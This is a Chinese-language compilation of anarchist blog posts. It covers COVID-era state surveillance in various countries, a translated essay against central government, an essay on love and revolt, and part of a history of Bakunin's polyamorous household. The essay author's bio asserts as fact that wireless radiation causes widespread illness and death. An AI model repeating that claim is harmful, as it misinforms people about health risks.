巴基斯坦的移动电话用户发现，尽管存在有关是否违反该国宪法的法律问题，但是，政府未经其同意就已经开始访问公民移动电话的位置和通话记录。

用户报告说检测到COVID-19呈阳性的患者返回家园后，政府向他们的一些朋友、家人和邻居发送了短信 “Karuna Alert” 消息；巴基斯坦电信管理局在调查患者的旅行和联系历史后，确认已使用患者注册的手机号码发送了该消息。

塞尔维亚

「图」

「图」

已有 71000 多名塞尔维亚公民（主要是从德国、奥地利、意大利和法国）返回该国的人，政府已引入各种制度，以确保他们遵守该国的自我隔离规则。

政府监控电话号码，尤其是意大利的电话号码，并特别注意那些有大量 “外来人口” 涌入的社区。

乌兹别克斯坦

「图」

「图」

主要是阻断信息权。

用户报告说，乌兹别克斯坦当局没收了被隔离人员的手机、音频/视频设备、银行卡和其他所有存储媒体，声称此举对于限制恐惧和虚假信息的传播是 “必要的“。

黑山

「图」

「图」

黑山共和国当局在政府网站上公布了从国外返回家园后处于强制性自我隔离状态的个人名单。

名单由市政府收集，包括全名、出行日期和家乡。在发现某些人违反了隔离规定后，政府做出了此决定，理由是他们使其余人口处于危险之中。

民间联盟已要求宪法法院审查此举是否符合宪法和法律，并要求暂时中止。

黑山的前两名确诊的COVID-19患者的身份由社交媒体用户发布，⚠包括其中一名患者及其家人的照片，并由于其种族和宗教信仰导致在线虐待。

摩尔多瓦

「图」

「图」

摩尔多瓦宣布将使用面部识别技术来识别被隔离人员。

MIAT 在新闻稿中强调了一个26岁公民的案件，该公民被面部识别系统捕获，并因逃避检疫被捕。现在，他在该市的一个临时中心面临罚款或拘留。

保加利亚

「图」

「图」

⚠保加利亚警察已被授权从电话和互联网运营商保存的公民私人通信中请求并获取元数据。

据报道，这些权力将被用来监视那些被强制隔离的人，并将使警察能够追踪他们的动向，并“监视他们与谁交谈以及访问过哪些地点”。

内政部长 Mladen Marinov 在公共电视平台全民投票中表示，“新法规仅适用于强制隔离的人，程序将继续受到法院的监督。警察对公民电话和互联网数据的访问将不受控制”。

瑞士

「图」

「图」

根据 Le Temps 收集的信息，当在100平方米的区域内检测到20多个电话时，瑞士电信将使用**SIM**卡地理位置数据联系联邦当局。自3月21日以来，瑞士禁止聚会5人以上。

从理论上讲，电信公司收集的数据应仅来自公共区域，而不应来自私人建筑。

该数据汇总，然后在接下来的24小时内传递给卫生当局。

根据 Swisscom 的说法，这种数据共享的目的不是跟踪或识别个人，而是监视聚会。

电信公司还宣布，该数据不能用于其他目的，也不能与其他数据集合并，即便在法律范围内。

斯洛伐克

「图」

「图」

受新加坡、韩国和台湾地区类似法律的启发，斯洛伐克新颁布的一项法律允许该国公共卫生办公室使用手机中的位置数据来追踪被命令隔离的人，以确保他们没有违规。

公众对侵犯隐私的愤怒反应迫使政府澄清：政府将只收集有限的数据，并只在与冠状病毒疫情有关的情况下使用，这些数据只能由公共卫生办公室获取；新的权力将于12月31日到期。

司法部长 Maria Kolikova 表示，虽然在正常情况下，使用这些数据是不能接受的，但在公共卫生紧急情况下，“隐私权并不是绝对的”。

危地马拉

「图」

「图」

危地马拉政府正在使用应用 Alerta Guate 来传播公共健康信息，该信息由芝加哥注册的公司 In-telligent LLC 创建。

⚠ 该应用程序可以收集每个用户的电子邮件地址、社交媒体帐户、年龄，个人兴趣和地理位置，并可以请求访问文件、通话和音频等权限。

总统表示，他希望确保市民安装该应用程序，以便以后将其用于其他目的，例如安全问题或寻找失踪的孩子。

简单说，这种高度侵入性的监控准备继续被使用。

巴拉圭

「图」

「图」

宣布在巴拉圭发生紧急卫生状况的总统令授权公共卫生部从晚上8:00到凌晨4:00进行“一般性预防隔离”，但那些从事重要工作（如运送食物）的人除外。

内政部及其警察在街上巡逻以执行措施。

并采用开源项目收集数据。这个被称为 CovPY 的自动报告系统，使任何人都可以访问它并报告其症状，并获得快速反馈，以采取下一步措施并生成有关情况的数据。

越南

「图」

「图」

越南着重于积极的接触追踪，对所有抵达该国的人进行强制隔离，取

消所有外国航班，征召医学生以及退休的医生和护士，进行监视，并动员医务人员和军事人员，甚至其国民线人网络。

截至3月24日，该国已报告123例确诊病例，无死亡病例。截至3月20日，该国已经测试了15637人。

但是，因分享有关该病毒的所谓错误信息而被罚款的有约**800**人。

马来西亚

「图」

「图」

⚠ 马来西亚将在武装部队和地面警察的指导下，使用政府拥有的无人机和从当地企业借来的无人机来监视对运动控制令的遵守情况。

由于马来西亚没有足够的无人机来覆盖整个国家，因此他们将重点关注人们无法遵守法规的12个热点地区。

爱沙尼亚

「图」

「图」

爱沙尼亚政府危机委员已经利用 Telia、Elisa 和 Tele 2 等公司提供的移动设备地理位置数据，研究人们的动向。

爱沙尼亚当局希望在2020年3月24日这一周内启动该项目。

局长 Mart Mägi 表示，目的是分析紧急措施实施前后的人员流动情况，如果电信公司同意可行，数据处理将只在爱沙尼亚统计局的安全环境中进行。

数据保护监察局已经同意，只要数据不被个人化，而且只用于提供一般化的结果，这种跟踪是 “合法的”。

希腊

「图」

「图」

希腊政府发布了一项禁令，从3月23日至4月6日禁止一切不必要的交通，以阻止冠状病毒的传播。

凡属于例外情况之一的人，必须携带警方的身份证明或护照和行动证明，公民可通过填写网上表格 (网址为 form.gov.gr)，或填写纸质表格，列出离家的原因，或发送短信获得许可。

雇员由雇主出具证明。政府表示，不会保留个人数据记录，所有数据在使用后将被删除。违规者将被罚款**150**欧元。

阿尔巴尼亚

「图」

「图」

阿尔巴尼亚计划在40个小时内部署军队以实施宵禁，该宵禁是该国于3月21日发起的，旨在控制COVID-19的扩散，

原因是公民继续出行无视居留命令。尽管该国当时只有76例确诊病例，但政府对3月9日该国切断旅行之前从意大利返回的12万人的潜在扩散感到担忧。

缅甸

「图」

「图」

主要是言论审查。

为了应对缅甸境内流传的许多所谓的谣言、虚假新闻和恶作剧，该国卫生和体育部与州和地区政府合作建立了一个网站，提供有关该病毒的视频、最新数据以及最新病例数的视频和实验室结果，以“纠正”人们对医务人员和维稳部门的认识。

该机构共享信息并与交通运输部合作，“追踪散布虚假新闻的所有人”。

该部“还发出警告，我们将对在社交媒体上传播假新闻的人采取行

动。”政府建议人们在分享可能是虚假的报道之前先检查一下站点。

波兰

「图」

「图」

波兰政府开发了 iPhone 和安卓系统的免费家庭检疫应用，警方可以检查个人是否违反检疫规定；违反者可能会被处以最高 5000 兹罗提的罚款，同时也为被检疫者提供支持。

⚠用户通过输入手机号码和短信发送的代码激活该应用后，就被要求发送一张参考照片。

每隔一段时间，该应用就会发送一个不定期的请求，要求在20分钟内发送一张新照片。

⚠系统会同时检查人（使用面部识别）和地点，本质上复制了警察的来访。

未被隔离的人不能注册，因为该应用与属于被命令隔离者的电话号码数据库相连。

该应用还提供了相关的健康信息和热线电话。政府打算在未来一段时间内为该应用程序增加更多的功能。

最后

「图」

本报告仅选择一些突出的重点，有可能并不完整；但是足够显示出以防疫为借口的反乌托邦权力扩张如何在全球盛行。

争取人权的运动从来都是举步维艰的，然而一场灾难，就能将几十年的努力付之一炬。这非常可怕。

任何灾难都是如此，而不仅仅是病毒—— **911**之后的疯狂世界如今的人们无不熟悉；斯诺登文件中所体现的只是一斑。

Robert Higgs 在80年代就警告过这件事，关于：灾难会让政府变得更大，他用“棘轮效应”一词来描述这一现象。

在这种情况下反抗将变得更具难度—— 危机的压力下大众将倾向于寻求强大势力的“保护”，会倾向于认为所谓的 “健康码” 等监视措施是 “在保护我们的安全”；虽然并没有任何证据能显示这种侵犯人权的行为对于防疫究竟能有任何积极效用。

简单说，人权捍卫者的支持度将明显下降。政府的欺骗和恐吓将占据上风。还记得吗，《恐惧诉求》在劝导术中占据很高的地位。

这种状况在历史中已经不断重演，冠状病毒疫情只是最新一集。

但这一集并没有结束，最终的结局将取决于我们现在如何对待这个问题。

“棘轮效应” 是一个警告，而非定论。最终的结论如何将取决于现在有多少人能理解到这个问题，以及采取什么样的行动。〇

原文

中央政府的神话 - iyouport

无政府主义社会反抗和思考社会运动和公民社会

【2020年8月19日存档】人们觉察到了压迫和不公，人们感到不满，人们站起来打破它。历史上的人类不断地重复这一过程。不断地迎来下一个新的开始。重要的是应该认识到，胜利将是一个起点，而不是终点

在任何社会中，个人的不安全感都会体现在对中央集权政府的愤怒呼声中。在任何社会中，大企业的效率总是会击败个人企业并令自己处于支配地位。

集中化和效率化是现代社会组织的本能和自动现象。尽管这种效率通常会给社会带来好处，但是，社会精英总是会找到收集这些好处的方法并将其重新分配给自己及其忠实的拥护者。

政府和企业就是这样形成的，它们把自己伪装成对大众的好处，而实际上除了做相反的事外没有其他实际目的或效果，他们只是以牺牲大众为代价为精英阶层争取更多利益。

就像池塘里的叶子会聚集在一起那样，财富、权力和力量也会被社会中某些人格类型收集和囤积起来。政府是人类历史上被高估最严重的概念。

政府只能做两件事：它可以用枪指着人民强迫他们去做事，以及，它可以通过积累的特权重新分配所收集到的财富。

作为投射力量的一种方式，政府将把部分财富用于建立军事组织。军方将完全按照军事目的行事，目的就是杀人。它以这种手段来加强政府的实力。军队拥有的财富越多，杀的人就越多。

只有杀害和监禁人民，政府才能维持它的控制。如果政府仅仅是威胁要杀人和监禁，人们将会很快无视政府的命令。为了生存，政府必须定期实施暴力，政府必须垄断暴力。

杀人和监禁不是用来执行司法，而是通过制造人们对政府所产生的恐惧和忠诚来维持政府的权力。

上图中这本书可以在这里下载：https://t.me/iyouport/6914

一个人在政府中的位置越高，对犯罪的惩罚就越发的不可能。正义仅仅是暴力的借口。

原因是权力。在政府立足后，商业企业将垂涎政府帮助推动其经济议程的权力。您可能希望征税会提供维持权力所需的全部财富和控制权，但是没有商业活动就不可能征税，如果征税过多，就不可能进行商业活动。

由于商业企业具有经济实力，商业精英利用自己的财富来影响政府，运用政府力量来促进商业企业的发展。

政府不关心如何使用武力，只要它自己可以比其他任何人施加更多的武力即可。像政府一样，公司的社会贡献非常有限。公司只能做两件事：它们可以创建商业交易，并且可以为其垄断和企业争取政府的保护。

因此，在政府和公司确立自己的地位后，政府使用武力，而公司通过经济手段控制政府的力量。

在整个控制矩阵中，腐败是系统性的，因为该矩阵就是由腐败造成的。

中央政府没有造就腐败：是腐败造就了中央政府。

这就是为什么集中化不可持续的关键。人为的不安全感会形成一个必然引入武力的真空，使用武力的特权对于某些人格类型来说是无法抗拒的。

这为不可避免的系统性故障创造了条件。那些寻求和渴望权力的人对自由开放的社会不满意；他们只能通过使用武力来获得满足感。

每当涉及使用武力时，使用武力的人将变得更强大，而被压迫的人将变得更脆弱。

如果那些强者赖以生存的弱者最终死亡、消失、或站起来反抗强者，那些强者就无法继续变得更强大。因此很明显，这就是为什么以任何方式使用武力的社会秩序都不能持久。

那些拥有权力的人永远不会满足，他们不会满足于停止收集权力。那些热爱权力的人永远都会觉得不够。

即使他们愿意限制自己的权力，他们也没有能力确定将任何给定社会维持在某种理想秩序水平所需的精确武力量度究竟是什么。

精英们并没有优化社会，他们正忙于优化自己的生活。为了满足对控制的渴望并减轻他们的巨大不安全感，他们每天只是在竭尽所能地使用最大的力量，并收集更多的力量，以便明天他们可以使用更多的力量。

毕竟，他们没有获得权力去问社会想要什么。他们只是收集了控制社会的权力，过着精英的生活，并为自己收集了尽可能多的利益。

中央集权不是共识机制，而是控制机制。

在所有被记录的历史中，没有永久的中央集权政府。政府成功与否的衡量标准是，它在崩溃之前可以保持执政多久。

通过使弱者依赖于强者，使弱者无法意识到强者在做什么，使弱者爱上强者，并且，当然，使弱者变得更弱成为可能，就可以最大程度地延迟革命的发生。人们会害怕任何强大的东西。

如果能够通过这些方式控制弱者，那么政府就不会因革命而垮台，但在榨干弱者最后一点血液和能量之后，强者将死于世界末日。

如果强者让弱者看到精英们有多富足，那么革命就会经常发生。如果一个政府允许自由、正义和知识的发展，那么革命将很快发生，因为集权的残酷和欺诈将被识别和拒绝。

一场革命之后，一个充满活力的社会可能会很快反弹，但是，它也可能更快地再次集中起来并再次受到武力的控制。当更强者不仅控制权力而且控制信息时，控制范围可以延展到更大。社会就会被榨干最后一滴血。

无知，让人们看不到替代选项，甚至认识不到谁在压迫谁。

在政府逐步失败和社会崩溃的情况下，社会受到武力和错误信息的完全控制后，要建立一个连贯的社会，就需要更长的时间，因为这种健康的社会组织的资源和技术已经被耗尽太多年了。

不管周期是慢还是快，人类都陷入了暴政和革命的重复性戏剧中。

在天性的驱使下，人类的优越性（某些人称为超越性）将以人性和社会价值的根本变化为标志。只有人类共同拒绝中央集权，社会才能在和平，繁荣与正义中无限地运转。

如果人们在精神上没有安全感，并且不了解自己的内在力量、权利和宗旨，他们就会寻求集中化权力的支持和保护。

随着人类自我意识和信心的增强，随着相互协助和彼此合作的能力的增强，以及决定学习亲手解决自己的冲突、保护自己的环境的能力，人们对中央政府的保护和服务的需求就将会减少。

上图中的文档在这里下载：https://t.me/iyouport/6779

当我们能够作为个人发挥最大潜力时，中央权威将不复存在 —— 届时人们将普遍认为中央政府是不必要和令人讨厌的。

在人类历史的早期，社会系统非常小并且是本地化的。我们现在称它为原始人– 家族、部落。这一体制历时三百万年之久，几乎没有变化，最独特的集中化体制也不过延续了千年之久，没有任何一个能持续超过15000年。多数落在500年就结束了。

集中化是谎言、腐败、背叛、保证失败、和保证周期性重复的愚蠢行为。因此，在人类有能力建立大型中央管理机构之前的那三百万年里，人类的遗产和潜力得到了体现。

现在，我们拥有技术、通讯、先进的科学和社会习惯，这使得为短暂的历史周期创建和维护集中化政权变得非常容易和自然。

我们还没有足够成熟和有远见的力量来维持没有集中化权力的广泛社会框架。但如果我们能够从根本上改变自己，不仅能够抵制建立和接受中央集权的冲动，而且能够强烈地要求所有权威都由我们个人保留，以实现家庭的自由管理，自主的当地小社区，没有教条，可以随着情况的变化而自由成长和适应，我们可以再次享受三百万年的和平、繁荣、知识进步。

甚至更好的是，可以享受科学技术创造的丰富力量，并且比起任何先前的文明来说，都可以拥有更加安全、舒适、快乐和充实的生活。

我们需要做的就是作为个人保留自己的所有权力，并拒绝将任何权力授予任何中央政府或代表。

我们绝不能向任何我们自己无法表达强烈的声音和强大个人控制权的

团体或领导人屈服。我们必须克服自己的恐惧和不安全感，并抵制诱惑，向除了神灵以外的任何人大声疾呼。

实际上，人类还没有准备好迈出这一广泛的上升步伐。作为个人，我们仍然没有安全感，我们怀疑自己的主权和实力，尽管保护充其量是矛盾的，我们仍然希望别人给予我们救助和保护。

腐败的社会变态者仍在假装为人们提供恩赐，以增强其自身权力，人们相信他们，仅仅是因为想要相信他们。但是，无论是否看到、无论是否理解，随着时间的推移，人类社会都在更加接近理想。

在大宪章与美国宪法之间存在一段挫折。我们现在正在遭受挫折，因为我们看到宪法背后更崇高的价值观被腐败、无知和精英主义所破坏；但是，我们越来越多地认识到大型集权的本性和不可避免的腐败和失败。

个人成长和意识可以被抑制，但永远不能完全抑制，更不能永远抑制。

人们越来越多地认识到，中央集权只会带来的无休止的、反复的失败，暴政、战争、屠杀、奴隶制和剥削。

一个人可能会呼吁战争，但是，只有他有了许多盲目的追随者时才能真正的发生战争。一个人可以宣布自己为领导者，但是，只有当我们大多数人都放弃自己的权力后，此人才能真正地领导。

人类的真正命运是每个人都作为自己的领导者，每个人都对自己的行为负责，不是其中一些人，而是每个人，都致力于在善待他人的同时保留自己所有权利和个人权力。保留所有掌握自己命运的控制权。

有了这样的人和那样的社会，你就不会再需要权力、财富和武力的集中化。

要想实现这一切所需要做的就是，将其视为我们自己的命运。要做到这一点，无论多少次失败，都会继续努力，再试一次。

无论从任何特定的时间或角度来看是否都能看到它，这就是我们这些人的道路，我们的旅程。当我们抵达理想时，会看到这不是终点，而只是起点，并且想知道为什么，我们曾经让暴君和社会变态者窒息我们这么久。〇

Jerry Day is an Emmy-winning media producer in Southern

California with millions of views on his freedom and rights themed videos on YouTube under the name “minivanjack.” **Jerry Day** also maintains the websites FreedomTaker.com and EMFhelpcenter.com to assist people with solutions to the excess wireless radiation now flooding our living environments and causing widespread illness and death.

The Myth Of Benevolent Central Authority

原文

以爱为盟：作为恋人的无政府主义者 - iyouport

无政府主义社会反抗和思考

布雷顿说："恋人们，要寻求越来越大的快乐" -- 这是一个革命性的要求。

如果每个人都能爱别人，这个世界将会是什么样？

十个人中有十个人都会同意：那简直是太特么棒了！

然，不幸的是，在这一点上，我们都是人类。我们的能力远远无法将每一个人都视为真正美丽而独特的生物。

同时，我们每个人都存在于社会结构之中，这些社会结构蕴含着仇恨、分离和集体主义的强大力量。

在这些桎梏之中，个人并不是特殊的或有意义的实体。我们的存在只是为了某些制度的目的，一些关于 “可怕的他者” 的模糊而古老的迷信。

虽然我们可能永远没有充分的理由去爱每一个人，但社会确保我们会憎恨 “他人”，无论它认为谁 “符合条件”。

要推倒这些禁锢我们的高墙，最强大的力量并不是反经济学、行动宣传、团结网络、或任何组织结构。

能够挥舞起大锤，疯狂地挥舞，以摧毁我们头脑中顽固存在的监狱的东西，只有爱。

激进派的圈子必须充满恋人，狂野的恋人，那些不羞耻、无恐惧、毫不顾忌规则和规范的恋人。

恋人们唯一永恒的憎恨对象就是隔离他们、限制他们的爱、锁住他们的狂喜、剥夺他们与周围世界的任何方面相爱的绝对权利的那面高

墙。

我们经常憎恨。对于一个无政府主义者来说，我们不乏憎恨的事物，但我们绝不能让憎恨成为我们个人反叛和革命言论的决定性特征。

恨可以帮助我们识别敌人，但狠永远无法消灭敌人。

恨无法清空监狱，无法烧毁公司，无法融化军工综合体的机器。

如果我们只是满怀仇恨，结果只能是即便可以摧毁现有的制度，也只是换来另一个高墙制度。

因为，除了对自由的仇恨外，压迫还能是什么呢？

恨是原始的恐惧、恐怖和苦难，在某种程度上奴役着我们所有人。

恨是军事征服、种族主义、仇外心理和性别歧视的真正燃料。

如果没有仇恨，就没有任何系统/制度能将其自身强加于我们。

我们必须首先爱自己。

爱自己不是庸俗的利己主义或自我迷恋。它是对你伟大之处的认可，我向你保证，你的伟大之处永远源源不断。

爱自己能让我们更准确地辨别他人的优点，更容易识别那些与我们的热情相一致的特征。

爱不是团结。团结不过是对一个团体事业的忠诚。

忠诚不是爱。

经常有人告诉我为什么我应该声援这个或那个团体，尽管我与那些参与其中的人有任何个人联系，尽管我对他们的行为的正确性有自己的判断。

这都不是爱，因为爱并不忠诚。

爱是痴情的，爱是投入的，它不会只说一句“同意”和服从“事业”的话。

恋人不需要服从。

你会为你所爱的人做什么？你需要被安排去爱什么吗？不，我们不需要那种对同道的奉献精神。

我们需要的是愤怒、激昂、势不可挡的个人，他们与周围的人联系在一起，与那些向我们证明他们值得我们为之奋斗、与之并肩作战的人联系在一起。

有多少朋友生活在水泥墙和铁丝网的背后？只有当我们认识到每个人都值得别人去爱、认识到不应该把他们当作天生的凶恶动物来对待而追求赶尽杀绝时，爱对我们生活的影响才算真正开始。

如果不承认那些你可能永远不会认识或有理由拥抱的人的尊严，如果不能热情地相互交换彼此最好的东西，你就不可能拥有爱。

有些人可能不值得你爱，但他们值得自由。他们也是爱之人，无论他们是谁。

我们都知道痴情的滋味，总会有其他人与我们分享痴情。但爱也是随机的。我们并不知道什么时候会有另一个人与我们相拥，也不知道为什么要与他们相拥。

在所有人都获得自由之前，我们的爱必然是有限的，因此，我们真正掌控自己的能力，以及最充实、最快乐地生活的能力，都会在我们面前被削减。

爱并不是我们所需要的全部，事实上也不可能是全部。

爱是为了某种东西而爱。我们必须让生活充满爱的理由，建立新的制度，让我们发现自己，发现彼此。

这不是一项小任务。

遗憾的是，它也不会像我们的激情那样一蹴而就。

对于那些热爱生活的人来说，对于那些将为一个他们可以完全自由地行动和良知地拥抱的世界而奋斗的人来说，这就更有必要了。

我们将需要书籍、枪炮、火焰、战略、市场和其他许多东西来消除我们身上的压迫，这不仅是对你我的压迫，也是对目前生活在枷锁中的每一个有生命的复杂个体的压迫。

恨。去恨你周围那些阻碍你的铜墙铁壁。去恨一切束缚你的精神摆

设。恨过，之后你才能完整地去爱。去爱，让我们不再需要过度的恨。

□

（本文译自赖恩·卡尔霍恩2014年刊发在C4SS上的一篇文章）

原文

出轨、外遇、‘非法同居’... 解放的激情 —— 在多角恋中冒险的前辈们 - iyouport

无政府主义社会反抗和思考

激烈的爱、超出规定界限的爱有许多不同的风险。也许唯一比这些可怕的风险更可怕的是不敢去爱所带来的致命的确定性。

---

caption...

与当代的许多无政府主义者一样，19世纪和20世纪的很多无政府主义者前辈们也与多个恋爱伴侣保持关系，或者与其他多角恋伴侣保持关系。

就像今天一样，这往往会引发流言蜚语、心痛、嫉妒、以及可能要处理无休止的情感问题。

一部完整的无政府主义多角恋大戏的历史几乎与一部全面的无政府主义运动史一样雄心勃勃。

本文仅限于介绍几位经典的无政府主义者在爱情生活中的一些凄美轶事。还有很多其他故事可以讲 —— 例如，涉及艾玛·戈德曼、亚历山大·伯克曼和约翰·莫斯特的三角恋，或者伏尔泰里娜·德克莱尔关于人际关系中所有权和占有欲的著作 ……

也许你会问为什么要重温这些东西呢？当然不是闲着没事的八卦。我们之所以要重温这些故事，是因为我们的先辈和我们一样，有缺陷、易犯错，但却能成就伟大的事业。他们既有英雄行为，也有严重的愚蠢行为（别忘了巴枯宁的反犹主义）。在研究他们的生活时，我们可能会认识到一些改进自己的方法。

埃米尔·阿尔曼德 (Émile Armand) “反对爱情中的嫉妒和排他性国际协会” 的会员卡。

“我们想要自由；我们想要男人和女人在没有任何法

> 律、经济或肉体暴力的情况下，只为爱而自由地相爱和结合。但是，即使自由是我们能够而且必须提供的唯一解决方案，它也不能从根本上解决问题，因为爱要得到满足，就需要两种自由达成一致，而这两种自由往往在任何方面都不一致；而且，当一个人不知道如何去想要某样东西时，为所欲为的自由就是一句毫无意义的空话。”

—— 埃里科·马拉泰斯塔，《爱与无政府状态》

安东尼娅·巴枯宁和米哈伊尔·巴枯宁与卡洛·甘布齐

「图」

米哈伊尔·巴枯宁是19世纪最有影响力的无政府主义者之一，他有一句名言：“只有当所有人，无论男女，都享有同等的自由时，我才是真正自由的。”在他的《革命教义》中，有一节专门论述了废除包括婚姻关系在内的各种强制性关系：

> 宗教和公证婚姻将被自由婚姻所取代。成年男女有权随心所欲地结合或分离，社会无权阻碍人们的结合或强迫人们维持某种关系。

米哈伊尔的父亲和母亲年龄相差24岁；他们订婚时，母亲18岁，父亲将近42岁。这在当时的俄罗斯并不罕见。米哈伊尔在四个姐姐的陪伴下长大，他从她们那里学到了各种知识，尤其是妇女自主和自决的重要性。米哈伊尔成年后与她们一起反抗父母的压力，拒绝与那些不认同她们的哲学或艺术兴趣的男人结婚。

米哈伊尔因参加1848年和1849年的革命而在三个国家被判死刑，流亡到西伯利亚时，他遇到了一位波兰流亡教师的女儿安东尼娅·克维亚特科夫斯基。他们结婚时，她18岁，他44岁。

几年后，米哈伊尔完成了从西伯利亚的大胆逃亡，环游地球到达西欧，至少当时那个地方还没有悬赏他的项上人头。安东尼娅加入了他的行列，两人一起生活在瑞典、意大利和瑞士。

此时，安东尼娅才二十多岁，而巴枯宁已经五十多岁了，而且多年的禁闭生活让他看起来比实际年龄更老。

安东尼娅“出轨”了。与巴枯宁的一位年轻的意大利同道开始了一段不

愉快的恋情。

在接下来写给俄罗斯朋友尼古拉·普拉东诺维奇·奥加辽夫 (Nikolay Ogarev) 的信中，巴枯宁描述了随之而来的巨大挑战。他复杂的心情对于所有那些曾努力为伴侣动荡的关系设定界限、或努力平衡两种截然不同的关系需求的人来说，绝不陌生。

安东尼娅·巴枯宁和米哈伊尔·巴枯宁

1869年12月16日

瑞士洛迦诺

安东尼娅到了。我去马焦雷湖（Lake Maggiore）尽头的意大利第一大城市阿罗纳（Arona）迎接她，我在焦虑中度过了两天半，随时期待着她的到来。与我从那不勒斯收到的电报上的日期不同，由于地中海的暴风雨，她晚到了整整两天。为了更便宜的路费，她选择了海路。这个可怜的女人受到了很大的打击。设身处地的想象一下这种处境：独自一人带着18个月大的孩子，怀着8个月的身孕，在海上漂泊，晕船是最常见的情况。她在船上待了好多天，尽管海上有可怕的湍流。她疲惫不堪地来到我身边时就病倒了。孩子也病了。我费尽周折把她们送到了阿罗纳。安东尼娅休息了一会儿，小家伙也休息了一会儿。但再过三四周的时间，或者可能两周，她就要分娩了。你知道，在这种情况下，我的头都要晕了。

亲爱的朋友，我想一次性地全部向你解释清楚关于我和安东尼娅以及她名副其实的丈夫之间的关系。我做了一件非常愚蠢的事，甚至还是一件犯罪的事，我娶了一个几乎比我小两倍半的年轻姑娘。要是想自我辩解，我可以提出许多情有可原的理由，告诉你是我把她从一个庸俗的乡下垃圾堆里拉出来的，如果不是嫁给我，她只会成为一个怪物的妻子，一个西伯利亚警察局长的妻子。但事实就是事实，错误就是错误，罪行就是罪行。安东尼娅是个善良的人，拥有美丽的心灵，我爱她，就像一个父亲爱自己的女儿那样。我想方设法把她从琐碎的思想世界中解救出来，帮助她在人性上获得发展，让她远离许多庸俗的诱惑和情事。但当她遇到真爱时，我却认为自己无权与之抗争，也就是说，无权与这份爱抗争。她爱上了一个完全配得上她的男人，那就是我的朋友、我在社会革命理论方面的晚辈，卡洛·甘布齐。两年半前，安东尼娅来告诉我她爱上了他，我向她表示了祝福，恳求她把我当作朋友，希望她记住没有比我更好、更可靠的朋友了。

几个月后，在日内瓦大会上，经过她和甘布齐的长期斗争（我也没有

以任何方式干涉他们，我故意忽略了），安东尼娅发现自己怀孕了。由于缺乏自信，她向我隐瞒了怀孕的事实，她忍受着可怕的折磨，欺骗了所有人，并以去旅行为借口，到沃韦附近的一个村庄分娩，整个选择导致她自己和孩子都面临巨大的危险。我不知情，而甘布齐对此知情，他带着孩子来到了那不勒斯。直到安东尼娅康复，而我却仍然一无所知。

一年前，也就是1868年10月，一件事让我明白了一切。我没能早点知道这件事，这不是安东尼娅的错，而是甘布齐的错。从一开始，她就想告诉我这一切，但甘布齐要求她、恳求她不要对我说任何事。在这一点上，就像在其他许多方面一样，他的表现低于她。在意大利资产阶级世界长大的甘布齐，仍然无法摆脱对礼节和荣誉的崇拜，常常喜欢曲折的小路，而不是笔直的大路。我想为他辩解的是，一想到要委屈和冒犯我，他就感到害怕了。他对我有一种顺从的依恋，一种无可辩驳的温暖的友谊。

总之，在了解了事情的本质之后，我向安东尼娅重申她完全是自由的，并请她自主命运，不要考虑我，以她认为最好的方式：要么作为我的妻子和我在一起—— 当然只是在公众面前作为妻子；要么和我分开，作为甘布齐的妻子公开生活在那不勒斯。她决定选择第一种，原因如下：首先，她已经习惯了我，分开生活的想法似乎让她无法忍受；其次，她害怕成为甘布齐的负担，害怕让甘布齐陷入一种境地，鉴于他的社会偏见，他不知道如何体面地摆脱这种境地。

因此，我们三人决定一切照旧。孩子将在那不勒斯过冬（这是 1868年10月做出的决定），到了秋天，安东尼娅将前往意大利，据说是和一位生病的波兰朋友一起，这位朋友很可能在夏天“去世”，并把她的儿子托付给安东尼娅。今年秋天，安东尼娅带着孩子去了那不勒斯，结果正如我所预料的那样：她又一次怀孕了。

她绝望了。于是甘布齐建议她来那不勒斯生孩子，把孩子完全交给甘布齐监护；她完全放弃孩子，在孩子出生后带着儿子，也就是我们收养的那位已故波兰朋友的孩子（当然这只是个传说），和我一起回去。安东尼娅反对这一提议，她明确表示，无论如何也不会放弃自己的孩子。她和甘布齐之间开始了争吵。他们请求我担任法官。我当然站在安东尼娅一边，并写信给甘布齐说，他的计划是畸形的，在我眼里，一个仅仅出于社会考虑而抛弃自己孩子的母亲将是一个怪物。

于是，安东尼娅向我发出了这样的请求：离开日内瓦，到意大利来，承认这两个孩子是我亲生的。我没有考虑多久就答应了。我觉得我必须接受，因为我找不到其他办法来拯救安东尼娅；我对她犯下了罪

行，我有责任帮助她。事情发生在今年七八月份，也就是我向您宣布必须离开日内瓦的时候。

巴塞尔会议之后，安东尼娅对我施加了压力。我匆忙离开，按照约定，我去了洛迦诺，开始找房子、找保姆，并给安东尼娅发电报，说她可以过来了，我在等她。两个多星期以来，我的电报和在电报后发出的信件都没有得到任何回复。我意识到他们之间的斗争还在继续；我给他们写了一封同文信，在信中，我向他们描述了我们之间的真实情况，同时向他们指出了两个选择，并要求他们二选一，即：要么安东尼娅一劳永逸地放弃对甘布齐的爱，只满足于他的友谊，立即带着我的儿子和我未来的孩子回到我身边；要么她作为甘布齐的妻子留在那不勒斯，全世界都知道她是甘布齐的妻子，他们的两个孩子也必须得到甘布齐的承认。无论哪种决定，我都表示同意，但我要求他们毫不迟疑地选择其一，并表示我只会再次同意做第一种决定，条件是立即生效。

安东尼娅来了。甘布齐提出留下来，但她拒绝了。

我和安东尼娅继续与甘布齐保持友好关系。他们的恋爱关系已经结束。我收养了甘布齐的孩子，但不否认他有无可争议的权利与安东尼娅一起负责并主导孩子的教育。这里的生活费用不高。他每月向共同基金缴纳150法郎，我也会这样做。只要革命还没有召唤我，我和安东尼娅就会在一起。革命到来时我将只属于革命和我自己。

……

事实上，在这封信寄出后，安东尼娅继续与甘布齐保持着恋爱关系，并与他生下了第三个孩子。米哈伊尔和安东尼娅继续生活在一起，米哈伊尔把三个孩子当成自己的孩子一样抚养。即使在米哈伊尔因政治冲突和财务管理不善而与许多其他同志疏远，并给他们的家庭带来巨大困难时，安东尼娅仍与米哈伊尔站在一起并肩作战。米哈伊尔去世后，她最终搬到了甘布齐家，两人又共同生育了一个女儿。

埃里科·马拉泰斯塔、艾米莉亚·特隆齐奥-扎纳德利、和乔瓦尼·德芬迪

「图」

埃里科·马拉泰斯塔还是个少年时就结识了米哈伊尔·巴枯宁，并与他一起帮助组织了第一国际和其他早期的无政府主义活动，包括1874年和1877年的武装起义。此后，他一直被意大利警方紧盯，不得不终生

隐姓埋名流亡在外，尤其是在伦敦。

